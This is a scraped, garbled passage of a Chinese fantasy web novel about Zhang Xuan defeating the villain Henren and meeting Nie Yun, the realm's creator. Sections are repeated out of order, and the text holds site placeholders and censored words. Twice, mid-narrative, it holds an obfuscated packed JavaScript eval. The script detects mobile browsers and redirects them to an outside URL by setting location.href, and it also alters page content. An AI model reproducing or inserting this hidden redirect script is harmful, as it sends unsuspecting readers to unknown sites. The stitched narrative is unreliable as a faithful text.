盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第三十二章 **了 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935526|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 